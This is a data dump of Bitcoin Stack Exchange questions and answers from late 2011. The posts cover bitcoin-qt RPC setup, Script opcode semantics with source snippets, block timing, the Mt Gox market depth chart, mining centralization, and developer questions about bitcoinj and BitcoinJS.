  <row Id="2310" PostTypeId="2" ParentId="2308" CreationDate="2011-12-24T02:33:14.733" Score="4" Body="&lt;p&gt;Doing it that way for an FPGA or ASIC would be very easy, once you have the FPGA or ASIC. All you need to talk to an FPGA or ASIC is a USB port and the software required is very simple. You would need a PC somewhere to act as the mining controller. Of course, if you're mining in a pool, the pool provides the controller, so no issues there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a GPU is a bit harder -- you need a PCI-e interface. PCI-Express interface cores with Linux support are available for Linux -- they're used by some routers to interface to PCI Express mini WiFi cards. Xilinx also has an ARM-to-PCIe core with Linux drivers available. Unfortunately, at least as far as I can tell, there's no sane way to connect these to a Raspberry Pi board. You really want the PCI-Express controller combined with the ARM core or the interfacing gets difficult, ugly, and expensive.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-12-24T02:33:14.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2311" PostTypeId="1" CreationDate="2011-12-24T18:37:34.113" Score="5" ViewCount="705" Body="&lt;p&gt;After some time away, and a dead Vista PC, I have come back to Bitcoin and installed the latest (0.5.1-beta) on Windows 7. (Don't worry, I didn't lose my wallet.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my old machine, using bitcoin.exe, I was able to connect on port 8332 and send a jsonrpc command to back up my wallet. However, I have now forgotten the command-line parameters (if any) I used for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the (redacted) contents of my bitcoin.conf file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcuser=xxxxxxxx&#xA;rpcpassword=xxxxxxxxxxxx&#xA;gen=0&#xA;rpcallowip=192.168.2.6&#xA;rpcallowip=127.0.0.1&#xA;paytxfee=0.01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The principal symptom is this (from python):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;IOError: [Errno socket error] [Errno 10061] No connection could be made because&#xA;  the target machine actively refused it&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Using bitcoind.exe, however, &quot;it all works&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(BTW sorry for the weak tag; I don't have enough karma to create my own)&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2011-12-24T19:17:30.367" Title="Does bitcoin-qt support jsonrpc?" Tags="|backup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2312" PostTypeId="2" ParentId="2311" CreationDate="2011-12-24T19:17:30.367" Score="3" Body="&lt;p&gt;After reading &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Sample_Bitcoin.conf&quot; rel=&quot;nofollow&quot;&gt;the fine manual,&lt;/a&gt; I added these lines to bitcoin.conf:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server=1&#xA;rpcport=8332&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it appears to be working. &lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2011-12-24T19:17:30.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2313" PostTypeId="1" AcceptedAnswerId="2320" CreationDate="2011-12-26T15:20:40.043" Score="1" ViewCount="145" Body="&lt;p&gt;In the &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;Script&lt;/a&gt;, when one is checking whether a value is true of false, should the length of the expression be checked? For example, 0x01 is evaluated as true, but can the same be said  about 0x0001, 0x000001, etc?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-27T01:39:59.640" Title="Script - true and false values" Tags="|development|protocol|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2314" PostTypeId="1" AcceptedAnswerId="2319" CreationDate="2011-12-26T15:34:07.597" Score="2" ViewCount="417" Body="&lt;p&gt;Does the &lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Splice&quot; rel=&quot;nofollow&quot;&gt;OP_SIZE&lt;/a&gt; operation in &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;Script&lt;/a&gt; push one item onto the stack (length of the string), or two (string and its length)?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-27T01:36:47.557" Title="Script - OP_SIZE" Tags="|development|protocol|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2316" PostTypeId="1" AcceptedAnswerId="2395" CreationDate="2011-12-27T00:04:59.780" Score="2" ViewCount="1566" Body="&lt;p&gt;Is there a technical reason why there is no mobile wallet software for BlackBerry users?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it just because the marketplace on BlackBerry is awkward? Or are there other technical problems?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are the Android and iPhone markets easier (less strict) to upload apps to?&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="153" LastEditDate="2013-06-04T01:28:30.393" LastActivityDate="2018-08-21T06:33:21.650" Title="What mobile wallet software is available for BlackBerry?" Tags="|wallet|mobile|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2317" PostTypeId="1" AcceptedAnswerId="2318" CreationDate="2011-12-27T00:50:04.577" Score="8" ViewCount="2156" Body="&lt;p&gt;Description of the OP IF is a bit vague on the wiki. Where does one get statements for the op for? Are they coming from the stack, or from somewhere else? Are there any available examples of how a script using that op code looks like?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-02-26T21:01:13.963" Title="Script - OP_IF etc. clarifications" Tags="|development|protocol|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2318" PostTypeId="2" ParentId="2317" CreationDate="2011-12-27T01:34:27.560" Score="10" Body="&lt;p&gt;The statements are not on the stack, they're in the script. They start immediately after the &lt;code&gt;OP_IF&lt;/code&gt;. They end at the first &lt;code&gt;OP_ELSE&lt;/code&gt; or &lt;code&gt;OP_ENDIF&lt;/code&gt;, assuming there isn't a nested &lt;code&gt;OP_IF&lt;/code&gt; or &lt;code&gt;OP_NOTIF&lt;/code&gt;. So it looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// script to put a number on the stack&#xA;OP_IF&#xA;// script that runs only if the number isn't zero&#xA;OP_ENDIF&#xA;// script that runs no matter what&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// script to put a number on the stack&#xA;OP_IF&#xA;// script that runs only if the number isn't zero&#xA;OP_ELSE&#xA;// script that runs only if the number is zero&#xA;OP_ENDIF&#xA;// script that runs no matter what&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can read a bit more about in &lt;a href=&quot;http://web.archive.org/web/20120118072127/http://bitcoinstats.com/irc/logs/2011/01/13/14#l168035&quot; rel=&quot;noreferrer&quot;&gt;this chat transcript&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="2306" LastEditDate="2013-02-26T21:01:13.963" LastActivityDate="2013-02-26T21:01:13.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2319" PostTypeId="2" ParentId="2314" CreationDate="2011-12-27T01:36:47.557" Score="3" Body="&lt;p&gt;It pushes one item onto the stack, the size of the item on the top of the stack. The item whose size it pushes onto the stack is not consumed, it becomes the second item on the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the source code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            case OP_SIZE:&#xA;            {&#xA;                // (in -- in size)&#xA;                if (stack.size() &amp;lt; 1)&#xA;                    return false;&#xA;                CBigNum bn(stacktop(-1).size());&#xA;                stack.push_back(bn.getvch());&#xA;            }&#xA;            break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-12-27T01:36:47.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2320" PostTypeId="2" ParentId="2313" CreationDate="2011-12-27T01:39:59.640" Score="1" Body="&lt;p&gt;Anything that doesn't encode a form of zero is considered to be true. Here's the code Bitcoin uses:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bool CastToBool(const valtype&amp;amp; vch)&#xA;{&#xA;    for (int i = 0; i &amp;lt; vch.size(); i++)&#xA;    {&#xA;        if (vch[i] != 0)&#xA;        {&#xA;            // Can be negative zero&#xA;            if (i == vch.size()-1 &amp;amp;&amp;amp; vch[i] == 0x80)&#xA;                return false;&#xA;            return true;&#xA;        }&#xA;    }&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-12-27T01:39:59.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2321" PostTypeId="2" ParentId="2293" CreationDate="2011-12-27T13:19:06.177" Score="2" Body="&lt;p&gt;You cannot turn paypal into bitcoin but you can do it the other way around.&#xA;Check out this site:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.bitinstant.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitinstant.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They accept cash deposits (US only) and are also supposed to speed up the different transfers they allow. For example, from dwolla, paxum or liberty reserve to mtgox or tradehill. I haven't tried it myself though.&lt;/p&gt;&#xA;" OwnerUserId="192" LastActivityDate="2011-12-27T13:19:06.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2322" PostTypeId="2" ParentId="1952" CreationDate="2011-12-27T14:34:54.343" Score="1" Body="&lt;p&gt;I truly believe the USA is very unlikely to crack down on Bitcoin. Despite its flaws, the USA still has a robust and deep-seated history of allowing innovations and freedom. The reason we hear so much noise and fury over US government proposals to do X, Y and Z is precisely because US culture is so comparatively good at protecting freedoms. Crackdowns like the war on drugs, the war on terror and the war on piracy, are actually just high-profile exceptions to an otherwise remarkably free society. Americans: your country ain't perfect, but you don't know how good you have it! :)&lt;/p&gt;&#xA;" OwnerUserId="409" LastEditorUserId="662" LastEditDate="2011-12-28T18:14:42.980" LastActivityDate="2011-12-28T18:14:42.980" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2323" PostTypeId="2" ParentId="1952" CreationDate="2011-12-27T21:33:20.883" Score="2" Body="&lt;p&gt;Sweden has a &lt;a href=&quot;http://en.wikipedia.org/wiki/Pirate_Party_%28Sweden%29&quot; rel=&quot;nofollow&quot;&gt;pirate party&lt;/a&gt;, which &quot;received 7.13% of the total Swedish votes in the 2009 European Parliament elections&quot;, though only 0,63% of the votes in the national parliamentary elections, according to the Wikipedia article. Support for such parties, will make other parties think twice before waging a war on something like Bitcoins, so they do not risk loosing votes to the pirate party.&lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="6" LastEditDate="2011-12-28T07:17:52.883" LastActivityDate="2011-12-28T07:17:52.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2324" PostTypeId="1" AcceptedAnswerId="2676" CreationDate="2011-12-28T12:36:11.230" Score="9" ViewCount="2937" Body="&lt;p&gt;I notice on blockexplorer that block 159531 was mined at 2011-12-28 10:53:53 and the next block was mined at 2011-12-28 11:24:58 - a gap of more than half an hour. I know the 10-minutes-per-block rule is just an average that the network tries to maintain, thus outliers are possible. So what's the longest we've had to wait for the next block to be mined, in the last year (2010 to 2011)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: clarifying that I'm interested in the longest gap between blocks in &quot;recent history&quot;, which I arbitrarily define to be the last year.&lt;/p&gt;&#xA;" OwnerUserId="409" LastEditorUserId="5406" LastEditDate="2016-02-01T23:38:15.747" LastActivityDate="2016-02-01T23:38:15.747" Title="What is the longest time gap between blocks in 2010 - 2011?" Tags="|history|block-interval|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2325" PostTypeId="2" ParentId="2133" CreationDate="2011-12-28T13:34:44.427" Score="6" Body="&lt;p&gt;In theory Bitcoin could work without electricity or computers. The difficulty would be (manually) reduced so that calculating the hashes by hand (or mechanical means) was feasible. Transactions would have to  propagate on paper by hand. Transaction fees would have to go up enormously. And the whole shebang would work at a medieval snail's pace. I imagine it would be like scribe monks copying and verifying bibles...&lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2011-12-28T13:34:44.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2326" PostTypeId="2" ParentId="2324" CreationDate="2011-12-28T14:21:37.463" Score="5" Body="&lt;p&gt;In the very early days of Bitcoin the time between blocks could vary a lot since there were so few people using it (so the total hash rate was very unpredictable). I'm pretty sure the biggest gap would be between &lt;a href=&quot;http://blockexplorer.com/b/0&quot;&gt;block 0&lt;/a&gt; and &lt;a href=&quot;http://blockexplorer.com/b/1&quot;&gt;block 1&lt;/a&gt; (5½ days), probably because nobody was mining.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2011-12-28T14:21:37.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2327" PostTypeId="1" CreationDate="2011-12-28T15:41:51.020" Score="4" ViewCount="2377" Body="&lt;p&gt;How does one read and interpret the data on the &lt;a href=&quot;http://mtgoxlive.com/orders&quot; rel=&quot;nofollow&quot;&gt;MtGoxLive/Orders&lt;/a&gt; chart?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The axes have units.  The new help link at the bottom does not have much information.&lt;/p&gt;&#xA;" OwnerUserId="830" LastActivityDate="2011-12-28T19:27:55.917" Title="How to interpret Mt Gox Live orders chart" Tags="|raw-data|live-data|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2328" PostTypeId="2" ParentId="2327" CreationDate="2011-12-28T17:18:59.987" Score="0" Body="&lt;p&gt;Brown and blue curves represent &lt;a href=&quot;http://en.wikipedia.org/wiki/Market_depth&quot; rel=&quot;nofollow&quot;&gt;Market Depth&lt;/a&gt;. It shows how much USD or bitcoins someone would need to spend in order to move the price to a certain point on bottom axis. Green curve is past trades price.  &lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2011-12-28T17:18:59.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2329" PostTypeId="1" CreationDate="2011-12-28T17:41:19.087" Score="2" ViewCount="891" Body="&lt;p&gt;What happens if a monopoly grows in Bitcoin mining and payment processing?  Here is a scenario that I have been thinking about. Some big corporation, like the Bank of Amerika, decides that Bitcoin is the future and starts to buy thousands of graphic cards. At the same time the payout for solving a block decreases and many small Bitcoin miners figure the cost of electricity and time is not worth it anymore. But the big corporation is subsidized by the present financial system and shifts profits from banking services into paying for Bitcoin processing until only it and a handful of other large banks control the majority of the Bitcoin network.  What happens then?  Do they start raising fees and requiring a credit card number to process a transaction?&lt;/p&gt;&#xA;" OwnerUserId="662" LastEditorUserId="105" LastEditDate="2011-12-30T13:02:45.680" LastActivityDate="2014-02-28T11:38:02.177" Title="What happens if a monopoly grows in Bitcoin mining and payment processing?" Tags="|network|economic-theory|weaknesses|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2330" PostTypeId="2" ParentId="2329" CreationDate="2011-12-28T19:19:20.843" Score="3" Body="&lt;p&gt;Even if they controlled the majority of the processing (a sinister prospect in itself, as it allows &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/146/what-are-bitcoin-confirmations&quot;&gt;double spend attacks&lt;/a&gt;), they can't change the format of the blockchain as recognised by Bitcoin clients. If they started sending invalid transaction blocks, the client would reject them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there is a component of each block that is customisable - I think it's around 50 characters. If they reprogrammed their client software so that it required that 50 characters to contain a credit card number, then as I understand it, it could reject other blocks and dominate the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All that said, I don't think it's a realistic scenario. If someone actually pulled that off, I believe the value of Bitcoins would plummet quickly, and minor changes would be made to the client so that block solutions required a different type of hardware to process it (such as used by Litecoin and Solidcoin). The new client would no longer be for Bitcoins though - it would be essentially a new currency. The entity that tried to manipulate the network would lose the value of their investment. In my opinion, this is a such a predictable (and self defeating) outcome that it's very unlikely to be attempted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it may well be possible to pull off such a feat with specialised mining hardware, such as &lt;a href=&quot;https://bitcoin.stackexchange.com/a/782/516&quot;&gt;the ASICs apparently being developed by LargeCoin&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2011-12-30T05:22:31.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2331" PostTypeId="2" ParentId="2327" CreationDate="2011-12-28T19:27:55.917" Score="2" Body="&lt;p&gt;It's essentially a market depth chart, with the orange/brown line on the left representing the (cumulative) volume of standing buy orders and the blue line representing the (cumulative) volume of standing sell orders. The y-axis represents an amount of BTC and the x-axis represents a given buy/sell price in USD. The green line represents recent historical price shifts in that value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the top right are large numbers representing the current, high and low prices for the day. From the &quot;Help / Options&quot; menu at the bottom right, several additional options are available including the ability to show volume as lighter or darker shades of green on the price line and the ability to disable the gray ghostlines which appear every time the volume curve shifts. This Help/Options dialog also contains the following helpful instructions:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This is a cumulative graph of the outstanding orders on the MtGox&#xA;  exchange. It shows how much BTC/USD will have to be bought/sold before&#xA;  the market rate hits a certain USD price. For example, let's say you&#xA;  want to know how much USD would have to be spent buying BTC before the&#xA;  price reaches 40 USD. First find 40.0 on the bottom axis. Then find&#xA;  where the blue line intersects $40.0. Now find what value that&#xA;  corresponds to on the right axis. If it corresponds to $200000 then&#xA;  that's how much USD would have to be spent buying BTC before the price&#xA;  reached 40 USD.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-12-28T19:27:55.917" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2332" PostTypeId="1" CreationDate="2011-12-28T20:48:52.307" Score="4" ViewCount="296" Body="&lt;p&gt;Supposed you create a new wallet and pre-populate it with 100 keys (so you don't need to back it up after each transaction).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you know, given an instance of &lt;code&gt;Wallet&lt;/code&gt;, which keys have been &quot;used up&quot;? Or, in other words, if you want to use a new key for every transaction, how do you which key to use, given only the wallet state?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you supposed to save this information elsewhere?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-07-28T12:50:41.247" Title="How can you find how many keys you wasted in bitcoinj?" Tags="|development|bitcoinj|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2333" PostTypeId="1" AcceptedAnswerId="3991" CreationDate="2011-12-28T21:57:27.063" Score="4" ViewCount="545" Body="&lt;p&gt;What I imagine is a trusted centralized server (say run by Mt. Gox or some other exchange), that exposes a simple medium/low level API (let's say in JSON):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;getTransaction(fromAddress)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;getTxDetails()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;executeTransaction()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I know BitcoinJ does't store the whole blockchain, but it does store and update the headers. The method I seek will save me the hassle of managing any local data except the actual keys/addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would not have to give this transaction my private key, but rather use some sort of &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/m4uua/offline_transactions_can_now_be_generated/&quot; rel=&quot;nofollow&quot;&gt;Offline Transaction&lt;/a&gt; equivalent. Is there something close to this? Is somebody building this? (If not, someone should!)&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2011-12-29T07:33:06.783" LastActivityDate="2012-06-19T06:35:14.997" Title="Is there a remote Bitcoin API that doesn't require anything to be stored locally?" Tags="|development|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2334" PostTypeId="1" AcceptedAnswerId="2336" CreationDate="2011-12-28T23:36:39.523" Score="5" ViewCount="317" Body="&lt;p&gt;Where can I find some live (trusted?) &lt;a href=&quot;https://github.com/bitcoinjs/node-bitcoin-exit/wiki&quot; rel=&quot;nofollow&quot;&gt;BitcoinJS Exit Nodes&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking it it from the client perspective - I want to write a Java app that doesn't store a blockchain. I don't want to setup an exit node, rather I want to find and use existing ones.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="105" LastEditDate="2013-05-21T18:06:56.240" LastActivityDate="2013-05-21T18:06:56.240" Title="Are there live BitcoinJS Exit Nodes?" Tags="|development|thin-clients|bitcoinjs|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2335" PostTypeId="2" ParentId="408" CreationDate="2011-12-29T06:54:23.480" Score="3" Body="&lt;p&gt;Yes, hoarding does hurt Bitcoin. For Bitcoin to have a successful future, people need to be able to use Bitcoins as a medium of exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Bitcoin succeeds, in the far future you won't need to exchange between Bitcoins and other currencies to do business. But that's in the far future. Long before we get there, business will need to transact in both Bitcoins and national currencies. You may be able to buy a T-shirt for bitcoins, but the company that sold it to you is going to have to pay their rent and their employees in dollars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For that to work, the value of Bitcoins relative to national currencies needs to be fairly stable. If the price of Bitcoins halves overnight, then the T-shirt company can't pay their rent or their employees and will take a loss. If they have to charge me a premium because of the risk that Bitcoins will drop in value, I might as well just pay in dollars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the exact exchange rate is basically irrelevant. It doesn't matter if Bitcoins are $1 each or $1,000 each, we can trade them just the same. But speculation and hoarding increase volatility, and that's a problem. Speculators and hoarders hold Bitcoins with the hope that they'll increase in value. When they see Bitcoins moving up in value, they buy more. When they see Bitcoins moving down in value, they often sell out to avoid a possible crash or to buy back when the drop bottoms out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a result of these transactions, they cause minor fluctuations in value to be much larger than they would otherwise be. This discourages precisely the type of uses of Bitcoin that are essential for its next phase of growth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, without any speculation, Bitcoin would likely die out completely. With no demand and no market, there'd be no value at all. So the puzzle is how to grow Bitcoins without causing volatility. As far as I know, nobody knows how to do that yet.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-12-29T06:54:23.480" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2336" PostTypeId="2" ParentId="2334" CreationDate="2011-12-29T13:11:35.377" Score="3" Body="&lt;p&gt;According the to the status message at the bottom of the page: &lt;a href=&quot;https://github.com/bitcoinjs/node-bitcoin-exit&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoinjs/node-bitcoin-exit&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First permanent deployment is online at &lt;a href=&quot;https://exit.trucoin.com:3125/&quot; rel=&quot;nofollow&quot;&gt;https://exit.trucoin.com:3125/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2011-12-29T13:11:35.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2337" PostTypeId="1" AcceptedAnswerId="2355" CreationDate="2011-12-29T13:13:26.477" Score="17" ViewCount="6878" Body="&lt;p&gt;Messages on the Bitcoin network are identified by the magic value 0xD9B4BEF9, and on the testnet by 0xDAB5BFFA. Why were these values chosen?&lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2024-02-06T19:48:54.420" Title="How was the magic network ID value chosen?" Tags="|protocol|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2338" PostTypeId="1" CreationDate="2011-12-29T13:17:50.400" Score="4" ViewCount="181" Body="&lt;p&gt;Further to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2025/what-is-txins-sequence&quot;&gt;this question&lt;/a&gt;, how does the network determine whether to accept a new version of a transaction as a replacement transaction? Could an attacker replace transactions maliciously?&lt;/p&gt;&#xA;" OwnerUserId="409" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2011-12-29T21:52:27.497" Title="How does the network determine whether to replace a transaction?" Tags="|transactions|revert-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2340" PostTypeId="1" CreationDate="2011-12-29T13:50:06.963" Score="6" ViewCount="1256" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoinjs/node-bitcoin-exit/wiki/REST-API&quot;&gt;The documentation&lt;/a&gt; that I found seems to contain info about specific API calls, but no top level explaination/example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I find a practical concise example of using exit nodes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to query transactions (say ... poll to see all latest transaction to a specific address), and submit a new transaction.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="105" LastEditDate="2013-05-21T18:08:17.103" LastActivityDate="2016-01-19T11:19:47.107" Title="Is there a good tutorial on how to use bitcoinjs exit nodes?" Tags="|development|bitcoinjs|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2341" PostTypeId="1" CreationDate="2011-12-29T18:01:32.670" Score="-3" ViewCount="147" Body="&lt;p&gt;With the recent addition of a Bitcoin address to their donation page, the NYC chapter of the Wikimedia Foundation has at least partially accepted Bitcoin as a valued currency and reduce the burdens and costs of donation.  It seems to me a great lot of good could be done to the cause of Bitcoin if it was fully adopted as the Wikimedia Foundation's currency of choice. How can we, as both individuals and a Bitcoin communtiy, convince the organization that not only accepting Bitcoins but using it as a payment form is advantageous to their operations?  Is there some sort of audit or study that can be conducted to present a cost-benefit analysis to switching to Bitcoin? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wikimedia is a ripe target for this change because it is prominent yet small (as opposed to a large bloated corporation with many levels of decision making and more reluctancy to taking risks), internet-based organization with a global presence.  Potentially, it could be the catalyst for the digital currency revolution, where organizations didn't only accept Bitcoins for donations, but exchanged them for goods or services  (think server hosting fee, computer equipment, etc.) and potentially even pay employees across the Internet in one single denomination!  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I wrong in being so optimistic?  Is it simply not economically viable to make the switch?&lt;/p&gt;&#xA;" OwnerUserId="83" LastEditorUserId="83" LastEditDate="2011-12-29T18:30:19.847" LastActivityDate="2011-12-30T03:06:43.170" Title="How can both individuals and the Bitcoin community as a whole promote and advocate the Wikimedia Foundation to deal purely in Bitcoins?" Tags="|economic-theory|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2342" PostTypeId="2" ParentId="2341" CreationDate="2011-12-29T18:26:36.703" Score="0" Body="&lt;p&gt;At this point it's a very bad idea for Wikimedia to start dealing solely with Bitcoin. And even if it wasn't, it would be futile at this point to try to convince them of this.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2011-12-29T18:26:36.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2343" PostTypeId="2" ParentId="2341" CreationDate="2011-12-29T19:55:39.783" Score="4" Body="&lt;p&gt;If any business would decide to rely solely on Bitcoins as their medium of receiving donations, would face the following problems:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bitcoins aren't mainstream yet, so a lot of people would not understand what is it that the company uses.&lt;/li&gt;&#xA;&lt;li&gt;Currently, getting Bitcoins for an average person is a chore. A lot of people can't be bothered to register in an online store to buy something they already have in their shopping cart (PayPal is addressing that issue with a sort of an OpenID equivalent). There would be even fewer amount of people wanting to use wire transfers or the like to get Bitcoins at MtGox.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoins aren't stable in their value yet. If a company has predictable costs payable in USD, getting donations in something that can change its exchange rate to USD in seconds by a large factor is not an ideal situation.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoins don't have the stability of a bank or large institution when it comes to security. If someone hacked into your bank and stole your money, usually the bank would give you the money back. If someone hacked into your machine running Bitcoins and stole your wallet, your Bitcoins are gone forever and nobody will compensate you.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So all in all, advocating for someone to use purely Bitcoins for everything is a bad idea. If a company would loose a lot of money by doing that, they won't want to deal with it ever again. On the other hand, due to the low costs, promoting adoption of Bitcoins as an additional source of donations is a better idea. This way if it doesn't work out too well, no big loss, if it goes well, so much the better.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-29T19:55:39.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
